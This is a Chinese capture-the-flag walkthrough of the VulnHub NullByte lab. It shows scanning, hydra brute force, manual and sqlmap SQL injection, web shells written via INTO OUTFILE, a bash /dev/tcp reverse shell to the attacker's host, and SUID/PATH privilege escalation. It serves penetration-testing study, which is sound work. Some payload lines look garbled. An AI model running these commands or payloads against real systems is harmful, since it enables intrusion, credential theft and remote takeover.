目录
前言
整体思路、流程
探测阶段(顺序执行)
更多注入姿势
姿势A-大小马
姿势B-反弹shell
姿势C-sqlmap
用户提权
操作是在虚拟机靶场中进行,本文章提供渗透方面技术交流学习,严禁用于非法用途
靶场是最小化安装,是没有提供用户名与密码的包括ip都要自己去找,靶场需要在vulnhub下载名称是NullByte
首先使用nmap进行扫描,发现NullByte靶机地址为192.168.20.14,然后对齐各种端口进行检测,使用默认脚本检测,然后进行目录爆破,根据爆破的结果去访问web页,查看网页源码查看网页上图片的信息,将这个信息进行解析查看文件的具体内容,发现字符串尝试当作密码/路径等一切可以想到的进行访问,跳转到新的界面测试是否存在SQL注入,但是在新的页面当中所存在的是"双引号报错,根据SQL注入的多种姿势进行操作,最终拿到phpmyadmin页面的登录账户和密码,然后进行远程ssh连接,进入后首先查看当前用户是什么身份有什么特权,然后将此用户所有可以操作的文件进行展示,并对文件进行过滤查找敏感文件,在这期间得出该用户的历史操作命令有两个相对特殊,并且文件的执行存在s也就是suid提权,利用文件与历史命令进行提权,最终成功拿到flag。接下来将展示操作。
首先扫描整个c段,去发现靶机
nmap -sn 192.168.20.0/24
但是根据扫描结果并没有发现目标靶机,将目标靶机重启将两次结果对比,可以使用如下在线工具也可以使用word比较在线文本差异对比,文本比对、文本比较工具本工具可以方便大家快速对比两个文本文件中的不同之处,可以自动对两段文本比较,标注不同之处,结果清晰明了,可快速替换差异内容并将结果直接下载。https://www.jq22.com/textDifference发现多了一个ip192.168.20.14的,其实可以使用其他工具去访问探测每一个地址返回的结果,这里忘记了,继续下面的
针对已经发现的主机进行开放的端口扫描:nmap -sT -sC -sV -O -p80,111,777,52136 192.168.20.14
扫描每一个端口所对应的服务:nmap -sT -sC -sV -O -p80,111,777,52196 nmapscan/ports 192.168.20.14
指定tcp 使用默认脚本 版本信息
可以看到777端口的ssh服务是开放的,111是tcp服务
指定是使用udp扫描:nmap -sU -p80,111,777,52136 192.168.20.14
使用nmap默认的脚本扫描:nmap --script=vuln -p80,111,777,52136 192.168.20.14
发现一个漏洞,等待时间太长,退出扫描。进行其他操作:
访问80端口发现有web页面,其他端口都是无法访问
进行目录爆破:
gobuster dir -u http://192.168.20.14 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
根据目录爆破的结果去访问:前两个都无法访问,第三个可以访问但是需要用户名和密码才可以登录,这里可以尝试弱口令但是未成功
在进行目录爆破的同时考虑web页上的图片是否有一些信息,将其读取,在web页点击图像复制图像链接,将其使用命令下载并分析
wget http://192.168.20.14/main.gif 下载图像
file main.gif 查看图像的基本信息
exiftool main.gif 查看图像的具体信息发现有一串字符串,先进行记录,这串字符串有可能是什么密码之类的,尝试将其用在上面的登录页面,但也没有成功
再去思考这个字符串可能是什么,在这里靶机的ssh服务是开启的,那么有没有可能字符串是靶机的登录密码
但是登录失败,所以继续推进其他:ssh [email protected] -p777
那这个字符串有没有可能会是一个路径信息呢?将其拼接在首页的url后面:http://192.168.20.14/kzMb5nVYJw/
很惊喜,可以看到哦页面发生了变化
将字符串输入到文本框
出现报错提示,那么这里有没有可能存在xss或者sql注入的漏洞呢
查看一下网页的源码信息,可以看到图片中的注释
既然如此,那么直接尝试爆破,使用hydra
hydra 192.168.20.14 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l RedteamNotes -P /usr/share/wordlists/rockyou.txt
hydra 192.168.20.14(IP地址) http-form-post(协议-form表单-传输方式post) "/kzMb5nVYJw/index.php(目录就行,前面有IP了):key=^PASS(爆破类型)^:invalid key" -l RedteamNotes(-l 没实际意义但是满足语法) -P (注意大小写)/usr/share/wordlists/rockyou.txt(使用默认的字典,这是都有的如果没有找到目录进行解压后再用)
可以看到爆破的结果已经出来:elite
将结果输入到web页
看到出现新的页面
随便输入几个字符尝试一下
输入db,aa
什么都不输入:
输入a,可以看到这个数据是有进行处理的,如过输入的字符没有包含的就会显示数据已经取回,如果有的化那么就会对比显示信息
查看源码,可以看到数据以get的传输方式进行提交
测试是否存在sql注入,将特殊的符号进行输入进行探测‘,“,)"$+-- -,+,&&"
经测试发只有在单独输入"的时候会出现报错
tips:-- -其实两个+一个空格-- 已经代表注释,-- -这样是为了方便区分空格是否已经成功使用,-- 已经注释后面的内容所以后面跟什么,也不会有影响的。
既然有报错,那就尝试注入首先尝试union联合注入
在这里有两种方法,根据习惯哈
1.”order by 5 -- -
2."union select 1,2;-- -(逐步加,一直到不再报错出现正确结果)
”order by 4 -- -的时候报错
尝试换成3后出现正常结果
由此可知表中有三列,接下来进行具体的sql注入的操作:
"union select database(),@@version,user(); -- -
读取到如下数据:
接下来尝试使用数据库中默认的表进行对数据库信息的查询
"union select table_schema,table_name,3 from information_schema.tables;-- -
ps: "union select table_schema,table_name(是要查看的信息,数据库名和表名),3(占位) from information_schema.tables(存的数据库中的所有数据库信息,tables里面存的是所有数据库的信息和表的细信息);-- -
执行查询语句,可以看到seth这个数据库在这里,并且还有表名users,所以继续查(对于这种风险词应该形成意识,先查这些)
"union select table_schema,2,3 from information_schema.tables where table_schema="seth";-- -
"union select table_schema,2,3 from information_schema.tables where table_schema="seth";(查询seth里面有什么表)-- -
结果是只有一张
"union select column_name,2,3 from information_schema.columns where table_schema="seth"and table_name="users";-- -
"union select column_name,2,3 from information_schema.columns(列名,字段名) where table_schema="seth"and table_name="users(查询seth数据库当中users表所有的字段名)";-- -
根据这些字段名去查询
"union select id,user,pass from users;-- -
标记内容是不是有可能进行了加密呢,尝试解密
尝试使用base64解密
echo -n YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE | base64 -d //标准
可能是hash值,利用hash解密
hash-identifier c6d6bd7ebf806f43c76acc3681703b81
可以看到提示是MD5
进行解密
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5
使用上面获得的账号和密码进行ssh登录
ssh [email protected] -p 777 passwd:omega
查看当前用户的身份信息,需要提权才能够获得
查看源码
使用" order by 3;-- -来判断有多少列,如果值小于等于所有的列会正常显示如果值大于所有的列就会报错
写一句话木马进行注入,空字符可以防止写入文件时发生错误
"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- - //执行系统命令
"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- - //可以用蚁剑等连接
"union select "","","" into outfile "/var/www/html/uploads/shell.php"; -- -//加入\防止$_POST被过滤
使用kali查看 curl http://192.168.20.14/uploads/shell.php?ccc=ls
使用哥斯拉连进行木马编码
首先使用哥斯拉生成木马由于木马文件内容过长,将哥斯拉生成的木马进行base64编码,使用php生成文件并在文件内部写入编码后的哥斯拉木马
"union select "","","" into outfile "/var/www/html/uploads/shell3.php"; --
继续:
利用刚刚的木马查看文件内容curl http://192.168.20.14/uploads/shell.php?ccc=cat%20/etc/passwd
既然可以读取文件,那么继续尝试读取其他文件,在上面的内容中有一个420的文件怀疑通过这个文件可以与数据库交互,尝试查看该文件
curl http://192.168.20.14/uploads/shell.php?ccc=cat%20/var/www/html/kzMb5nVYJw/420search.php
高光的呢容就是数据库的用户名与密码,在目录爆破的时候还有一个phpmyadmin可以进行登录的网页
登录该页面,可以看到已经成功登入,通过查看数据库信息就可以看到里面的用户名和密码,和上面获取到的用户名密码是一样的
利用反弹shell,注入的位置依然是在输入框
"union select "& /dev/tcp/192.168.20.47/1234 0>&1'\"); ?>","","" into outfile "/var/www/html/uploads/sh.php"; -- -
"union select ""\bin/bash -c 'bash -i >(输出错误或其他都定向到这个设备里面)& /dev/tcp/192.168.20.47(攻击)/9999 0>&'\z(转义字符防止出错双引号)"); ?>","","" into outfile "/var/www/html/uploads/fanshell.php"; -- -
设置监听并在浏览器中访问写入的木马文件
返回shell后进行目录的查看,查看敏感文件包含的信息一样可以获得用户的名和密码
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql --dbs
执行结果,可以看到已经知道的表seth就不再一个一个看了
查看数据库中都有哪些表
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth --tables
执行结果
查看这个表中都有哪些列
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth -T users --columns
执行结果
直接查看数据转储
sqlmap -u "http://192.168.20.14/kzMb5nVYJw/420search.php?usrtosearch=a" --dbms mysql -D seth -T users --dump
执行结果:同样拿到账户信息,不过需要进行解码
转base64拿到hash 的ma5然后解密
在之前已经获得 ssh [email protected] -p 777 passwd:omega
sudo -l 查看当前用户有哪些特权
下面的内容就是如何用户可以操作哪些文件,针对这些文件如何筛选出我们想要的文件进行提权的操作
查看当前用户都可以操作哪些文件:find / -perm -u=s -type f 2>/dev/null
查看当前用户都可以操作哪些文件把错误都扔掉: find / -group ramses -type f 2>/dev/null
反向搜索并删掉proc信息: find / -group ramses -type f 2>/dev/null | grep -v '/proc'
对比两个结果都存在的文件
看一下/home/ramses/.bash_history这个文件,可以知道在历史记录中执行了哪些命令,根据执行的命令可以反推出他都可以有哪些权限
再次分析,执行的命令和文件目录相同
切换到该目录下并查看文件,看到文件重点颜色
查看这个文件目录的权限,可以看到是有s的,所以存在suid提权的方式
执行相对特殊的历史命令,这里面执行了一个sh
当前在的目录
配置环境变量并执行特殊命令
进入系统查看文件并拿到flag
到此也就完成了